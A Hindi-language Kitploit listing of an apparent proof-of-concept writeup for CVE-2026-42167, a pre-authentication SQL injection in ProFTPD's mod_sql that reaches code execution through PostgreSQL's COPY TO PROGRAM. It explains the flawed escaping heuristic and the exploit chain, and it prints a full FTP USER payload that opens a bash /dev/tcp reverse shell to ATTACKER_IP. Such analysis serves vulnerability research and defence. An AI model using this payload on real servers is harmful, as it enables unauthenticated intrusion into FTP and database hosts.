Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-42167-PoC — प्री-ऑथ RCE ProFTPD में mod_sql is_escaped_text() बाईपास के माध्यम से (CVE-2026-42167) | Kitploit
उपकरण/GitHubGitHub/sl4ck0th/cve-2026-42167-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंग
GitHubsl4ck0th/cve-2026-42167-poc

CVE-2026-42167-PoC

प्री-ऑथ RCE ProFTPD में mod_sql is_escaped_text() बाईपास के माध्यम से (CVE-2026-42167)

रिपॉजिटरी देखें
105 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-42167 POC

ProFTPD में mod_sql SQL इंजेक्शन के माध्यम से प्री-ऑथेंटिकेशन रिमोट कोड एक्ज़ीक्यूशन

लेखक: Van Glenndon Enad

मूल खोज: ZeroPath

प्रकाशित: 1 मई, 2026

गंभीरता: क्रिटिकल

CVSS v3.1 स्कोर: 8.1

CVSS v3.1 वेक्टर: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS v2 स्कोर: 7.6

CVSS v2 वेक्टर: CVSS2#AV:N/AC:H/Au:N/C:C/I:C/A:C

CWE: CWE-89 (SQL इंजेक्शन), CWE-78 (OS कमांड इंजेक्शन)


विषय-सूची

  1. कार्यकारी सारांश
  2. प्रभावित सॉफ्टवेयर
  3. भेद्यता विवरण
  4. मूल कारण विश्लेषण
  5. पूर्वापेक्षाएँ
  6. एक्सप्लॉइट श्रृंखला
  7. पेलोड विश्लेषण
  8. प्रूफ ऑफ कॉन्सेप्ट
  9. प्रभाव
  10. उपचार
  11. संदर्भ
  12. प्रकटीकरण समयरेखा

कार्यकारी सारांश

CVE-2026-42167 ProFTPD के mod_sql एक्सटेंशन मॉड्यूल में एक क्रिटिकल प्री-ऑथेंटिकेशन SQL इंजेक्शन भेद्यता है। is_escaped_text() फ़ंक्शन में एक लॉजिक दोष एक अनप्रमाणित हमलावर को एक USER कमांड तैयार करके SQL कैरेक्टर एस्केपिंग को बायपास करने की अनुमति देता है, जिसका मान एक दोषपूर्ण "पहले से-एस्केप्ड" ह्यूरिस्टिक को संतुष्ट करता है। इंजेक्ट किया गया SQL सीधे PQexec() के माध्यम से बैकएंड डेटाबेस को भेजा जाता है, जो स्टैक्ड क्वेरीज़ का समर्थन करता है।

जब ProFTPD डेटाबेस भूमिका PostgreSQL सुपरयूज़र होती है — जो कंटेनरीकृत डिप्लॉयमेंट में एक सामान्य गलत कॉन्फ़िगरेशन है — इंजेक्शन PostgreSQL के COPY TO PROGRAM निर्देश तक पहुँचता है, जिसके परिणामस्वरूप postgres सिस्टम यूज़र के रूप में अनप्रमाणित OS-स्तरीय रिमोट कोड एक्ज़ीक्यूशन होता है। कोई क्रेडेंशियल, कोई पूर्व पहुँच, और कोई उपयोगकर्ता इंटरैक्शन आवश्यक नहीं है।


प्रभावित सॉफ्टवेयर

घटकसंस्करण
ProFTPD≤ 1.3.9
मॉड्यूलmod_sql + mod_sql_postgres
फिक्स्ड संस्करण1.3.9a (27 अप्रैल, 2026 को जारी)
बैकएंडPostgreSQL (RCE); MySQL / SQLite (केवल ऑथ बायपास)

ProFTPD एक व्यापक रूप से तैनात ओपन-सोर्स FTP सर्वर है। Shodan के अनुसार, इंटरनेट पर 160,000 से अधिक सार्वजनिक रूप से सुलभ ProFTPD इंस्टेंस मौजूद हैं। mod_sql मॉड्यूल आमतौर पर cPanel, Plesk, DirectAdmin, Webmin, और ISPConfig सहित शेयर्ड होस्टिंग कंट्रोल पैनलों में सक्षम होता है।


भेद्यता विवरण

ProFTPD का mod_sql मॉड्यूल SQL-आधारित प्रमाणीकरण और गतिविधि लॉगिंग का समर्थन करता है। लॉग फॉर्मेट स्ट्रिंग्स में %U (यूज़रनेम), %r (रिमोट होस्ट), और %m (FTP कमांड) जैसे प्रतिस्थापन चर शामिल हो सकते हैं। ये चर रनटाइम पर विस्तारित होते हैं और कॉन्फ़िगर किए गए बैकएंड के विरुद्ध निष्पादित SQL क्वेरीज़ में डाले जाते हैं।

एक विशिष्ट असुरक्षित कॉन्फ़िगरेशन:

LoadModule mod_sql.c
LoadModule mod_sql_postgres.c

SQLEngine on
SQLBackend postgres
SQLAuthTypes Plaintext
SQLConnectInfo dbname@localhost dbuser dbpassword
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog * log_activity
SQLLog ERR_* log_activity

इस कॉन्फ़िगरेशन में, FTP USER कमांड में आपूर्ति किया गया मान %U के लिए प्रतिस्थापित किया जाता है और सीधे SQL INSERT स्टेटमेंट में शामिल किया जाता है। सम्मिलन से पहले, मान को यह निर्धारित करने के लिए is_escaped_text() से गुज़ारा जाता है कि इसे एस्केप करने की आवश्यकता है या नहीं। इस फ़ंक्शन में एक महत्वपूर्ण लॉजिकल दोष है।


मूल कारण विश्लेषण

दोषपूर्ण is_escaped_text() फ़ंक्शन

contrib/mod_sql.c में स्थित, फ़ंक्शन यह तय करने के लिए निम्नलिखित ह्यूरिस्टिक लागू करता है कि कोई स्ट्रिंग "पहले से एस्केप्ड" है या नहीं:

static int is_escaped_text(const char *s) {
  size_t slen = strlen(s);

  /* Assume the string is escaped if:
   *   1. It starts with a single quote
   *   2. It ends with a single quote
   *   3. It contains no internal single quotes
   */
  if (slen >= 2 &&
      s[0] == '\'' &&
      s[slen - 1] == '\'' &&
      strchr(s + 1, '\'') == (s + slen - 1)) {
    return TRUE;  /* skip escaping */
  }
  return FALSE;
}

जब यह फ़ंक्शन TRUE लौटाता है, sql_resolved_append_text() (लाइन 777) कच्चे, अनएस्केप्ड मान को सीधे क्वेरी स्ट्रिंग में डालता है। फिर मान को contrib/mod_sql_postgres.c (लाइन 1146) में PQexec() द्वारा निष्पादित किया जाता है, जो स्टैक्ड (मल्टी-स्टेटमेंट) क्वेरीज़ का समर्थन करता है।

ह्यूरिस्टिक विफल क्यों होता है

ह्यूरिस्टिक संभवतः उन स्ट्रिंग्स का पता लगाने के लिए था जो पहले से ही SQL स्ट्रिंग डिलीमीटर से घिरी हुई थीं। हालाँकि, यह यह सत्यापित करने का कोई प्रयास नहीं करता है कि आंतरिक सामग्री सुरक्षित है — केवल यह कि कोई अतिरिक्त सिंगल कोट मौजूद नहीं है। इसका मतलब है कि कोई भी पेलोड जो:

  • ' से शुरू होता है
  • ' पर समाप्त होता है
  • आंतरिक रूप से कोई सिंगल कोट उपयोग नहीं करता (जैसे, PostgreSQL $$ डॉलर-कोटिंग का उपयोग करता है)

...जाँच पास करेगा और SQL क्वेरी में शब्दशः इंजेक्ट किया जाएगा।

इंजेक्शन प्रवाह

FTP Client                ProFTPD                  PostgreSQL
    │                         │                         │
    │── USER '<payload>'  ──▶ │                         │
    │                         │ expand %U = '<payload>' │
    │                         │ is_escaped_text() = TRUE│
    │                         │ skip escaping           │
    │                         │── INSERT INTO activity  │
    │                         │   VALUES ('<payload>',  │
    │                         │   ...) ──────────────▶  │
    │                         │                         │ execute stacked SQL
    │                         │                         │ COPY TO PROGRAM
    │                         │                         │── shell command ──▶ OS

पूर्वापेक्षाएँ

आवश्यकतानोट्स
SQL लॉगिंग के साथ mod_sql सक्षम%U जैसे प्री-ऑथ चर को लॉग करना चाहिए
PostgreSQL बैकएंडCOPY TO PROGRAM RCE के लिए आवश्यक; MySQL/SQLite अभी भी ऑथ बायपास की अनुमति देते हैं
DB भूमिका PostgreSQL सुपरयूज़र हैCOPY TO PROGRAM सुपरयूज़र या pg_execute_server_program के सदस्यों तक सीमित है
DB होस्ट पर bash उपलब्ध/dev/tcp रिवर्स शेल डिलीवरी के लिए आवश्यक
नेटवर्क पहुँचPostgreSQL कंटेनर को लिसनर पोर्ट पर हमलावर तक पहुँचने में सक्षम होना चाहिए

सुपरयूज़र स्थिति अक्सर कंटेनरीकृत डिप्लॉयमेंट में पूरी होती है जहाँ ProFTPD DB यूज़र आधिकारिक PostgreSQL Docker इमेज में POSTGRES_USER=... के माध्यम से बनाया जाता है, या जब कोई व्यवस्थापक ProFTPD भूमिका को डेटाबेस का स्वामित्व प्रदान करता है।


एक्सप्लॉइट श्रृंखला

Step 1: Attacker sends crafted USER command (pre-auth, no credentials needed)
        │
        ▼
Step 2: ProFTPD expands %U with attacker-controlled value
        │
        ▼
Step 3: is_escaped_text() bypass — raw SQL passes through unescaped
        │
        ▼
Step 4: PQexec() executes stacked query against PostgreSQL
        │
        ▼
Step 5: COPY TO PROGRAM executes attacker shell command as postgres OS user
        │
        ▼
Step 6: Reverse shell / file exfiltration delivered to attacker

पेलोड विश्लेषण

इंजेक्शन पेलोड FTP USER कमांड के माध्यम से वितरित किया जाता है:

USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$bash -c $$bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1$$$$; --'

बायपास स्थिति सत्यापन

स्थितिसंतुष्ट?कारण
' से शुरू होता है✅पहला कैरेक्टर ' है
' पर समाप्त होता है✅अंतिम कैरेक्टर ' है
कोई आंतरिक सिंगल कोट नहीं✅आंतरिक स्ट्रिंग्स $$ डॉलर-कोटिंग का उपयोग करती हैं

पेलोड विवरण

खंडउद्देश्य
', null, null);मूल INSERT स्टेटमेंट को साफ़-साफ़ बंद करता है
COPY (SELECT $$x$$) TO PROGRAMPostgreSQL के COPY TO PROGRAM का उपयोग करके स्टैक्ड क्वेरी
$$bash -c ...$$सिंगल कोट से बचने के लिए $$ डॉलर-कोटिंग का उपयोग करके शेल कमांड
; --'स्टैक्ड क्वेरी समाप्त करता है; --' शेष को कमेंट करता है और बायपास के लिए समापन ' प्रदान करता है

टूल डाउनलोड करें